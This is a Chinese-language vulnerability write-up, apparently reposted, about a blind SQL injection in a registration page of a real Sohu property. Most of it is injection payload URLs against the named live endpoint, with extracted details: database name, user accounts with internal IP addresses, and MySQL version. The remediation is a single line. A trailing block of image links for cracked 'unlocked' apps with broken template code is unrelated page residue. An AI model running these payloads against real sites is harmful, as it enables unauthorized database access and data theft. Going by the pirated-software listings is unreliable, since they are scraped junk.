搜狐某站点用户注册处存在SQL注入漏洞
手工盲注是要吐血的。。http://home.focus.cn/
存在注入站点如上
存在注入链接
http://home.focus.cn/common/modules/spk/reg.php?id=628
正常访问:
http://home.focus.cn/common/modules/spk/reg.php?id=628
返回:

加单引号之后:
http://home.focus.cn/common/modules/spk/reg.php?id=628'
http://home.focus.cn/common/modules/spk/reg.php?id=628 and 1=1
http://home.focus.cn/common/modules/spk/reg.php?id=628 and 1=2
返回不一样,虽然没有报错但是可以肯定是一个盲注点。而且还是一个数字类型的盲注。
判断database()长度
http://home.focus.cn/common/modules/spk/reg.php?id=628 and (length(database())=6) and 1=1
得到结果是6
进一步猜测
http://home.focus.cn/common/modules/spk/reg.php?id=628 and (select ascii(substring(database(),1,1)) = 98) and 1=1
返回错误
http://home.focus.cn/common/modules/spk/reg.php?id=628 and (select ascii(substring(database(),1,1)) = 99) and 1=1
返回正常,说明第一个字母是c
以此类推可猜测出数据库名为:
common
猜user()
http://home.focus.cn/common/modules/spk/reg.php?id=628 and (select ascii(substring(user(),1,1)) = 102) and 1=1
http://home.focus.cn/common/modules/spk/reg.php?id=628 and (select ascii(substring(user(),2,1)) = 100) and 1=1
http://home.focus.cn/common/modules/spk/reg.php?id=628 and (select ascii(substring(user(),3,1)) = 98) and 1=1
以此类推,得到
fdbuser@10.11.8.2
fdbuser@10.10.80.82
这里有个小技巧,猜解出现了2个user,应该是连接数据库用户有2个,所以得到结果不一。
一般盲注到这里不用怀疑,肯定是2个user了。
猜测version版本,得mysql5.0
修复方案:
过滤参数id
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;

![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)